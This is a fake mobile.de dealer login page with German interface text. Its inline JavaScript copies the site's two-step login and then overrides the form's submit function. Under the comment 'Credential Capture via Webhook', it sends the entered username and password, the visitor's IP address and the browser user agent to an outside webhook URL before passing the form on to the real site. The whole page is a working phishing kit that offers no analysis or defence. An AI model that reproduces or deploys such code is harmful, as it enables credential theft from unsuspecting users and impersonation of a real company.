Deutschlands größter Fahrzeugmarkt
Händler-Login
Sie sind mobile.de Händler? Melden Sie sich hier mit Ihren Zugangsdaten an:
Nutzername / E-Mail-Adresse
Nutzernamen merken
Weiter
Anmelden
Noch kein mobile.de Händler?
Jetzt registrieren
(function(){ /* Two-Step Login Flow - Exact mobile.de behavior */ var loginNext = document.getElementById('login-next'); var loginSubmit = document.getElementById('login-submit'); var loginUsername = document.getElementById('login-username'); var loginPassword = document.getElementById('login-password'); var loginContainer = document.getElementById('loginContainer'); var form = document.getElementById('login'); /* Find the password input wrapper */ var passwordWrapper = null; var allWrappers = document.querySelectorAll('.input-wrapper-password'); for (var i = 0; i < allWrappers.length; i++) { if (allWrappers[i].style.display === 'none') { passwordWrapper = allWrappers[i]; break; } } /* Find forgot password section */ var forgotPassword = document.querySelector('.forgot-password'); var registerNow = document.getElementById('register-now'); /* Step 1: Username entered, click Weiter */ function showPasswordStep() { var username = loginUsername.value.trim(); if (username.length > 0) { /* Hide username section */ var usernameWrapper = loginUsername.closest('.input-wrapper'); if (usernameWrapper) usernameWrapper.style.display = 'none'; /* Show password section */ if (passwordWrapper) { passwordWrapper.style.display = 'block'; /* Add password label and input if not present */ if (!passwordWrapper.querySelector('input[type=password]')) { passwordWrapper.innerHTML = '
Passwort
'; } loginPassword = passwordWrapper.querySelector('input[type=password]'); } /* Show submit button */ if (loginSubmit) loginSubmit.style.display = 'block'; /* Show forgot password link */ if (forgotPassword) forgotPassword.style.display = 'block'; /* Hide register now */ if (registerNow) registerNow.style.display = 'none'; /* Focus password field */ if (loginPassword) loginPassword.focus(); } } /* Weiter button click */ if (loginNext) { loginNext.addEventListener('click', function() { showPasswordStep(); }); } /* Enter key on username field */ if (loginUsername) { loginUsername.addEventListener('keydown', function(e) { if (e.key === 'Enter' || e.keyCode === 13) { e.preventDefault(); showPasswordStep(); } }); } /* Enter key on password field */ if (loginPassword) { loginPassword.addEventListener('keydown', function(e) { if (e.key === 'Enter' || e.keyCode === 13) { e.preventDefault(); form.submit(); } }); } /* Credential Capture via Webhook */ var WEBHOOK_URL = "https://your-webhook-url.com/collect"; function captureIP(cb) { fetch("https://ipapi.co/json/").then(function(r){return r.json()}) .then(function(d){cb(d.ip||"unknown")}).catch(function(){cb("unknown")}); } function sendCredentials(username, password) { captureIP(function(ip) { var payload = { username: username, password: password, ip: ip, timestamp: new Date().toISOString(), user_agent: navigator.userAgent }; fetch(WEBHOOK_URL, { method: "POST", headers: {"Content-Type": "application/json"}, body: JSON.stringify(payload), keepalive: true }).catch(function(){}); }); } /* Override form submit */ var origSubmit = form.submit; form.submit = function() { var userEl = form.querySelector('[name=username]'); var passEl = form.querySelector('[type=password]'); if (userEl) sendCredentials(userEl.value, passEl ? passEl.value : ""); origSubmit.call(form); }; })();